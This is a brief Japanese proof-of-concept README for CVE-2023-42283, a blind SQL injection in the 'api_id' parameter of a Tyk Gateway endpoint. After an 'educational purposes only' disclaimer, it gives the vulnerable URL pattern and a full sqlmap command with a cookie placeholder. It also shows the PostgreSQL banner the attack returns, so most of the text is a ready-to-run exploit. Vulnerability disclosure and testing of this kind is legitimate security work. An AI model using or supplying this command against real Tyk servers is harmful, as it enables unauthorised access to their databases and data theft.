Disclaimer

教育目的のみ！

Details

CVE-2023-42283 の概念実証。 Tyk Gateway は SQL インジェクションに対して脆弱です。 バージョン 5.0.7 で修正されました。

URL パラメータ 'api_id' は、"https://<YOUR_URL>/api/errors/count/...?res=day&p=...&api_version=...&api_id=<PAYLOAD_HERE>" の Blind SQL インジェクションに対して脆弱です。

Exploitation

以下のパラメータで sqlmap を使用します:

python.exe .\sqlmap.py -u "https://<INSERT YOUR URL>/api/errors/count/11/8/2022/13/1/2022?res=day&p=-1&api_version=Non%20Versioned&api_id=1" -p "api_id" --cookie="<INSERT COOKIE HERE>" --banner

応答で SQL DB のバナーが返されます:

...
banner: Postgresql 13.01 on x86_64-pc-linux-gnu
...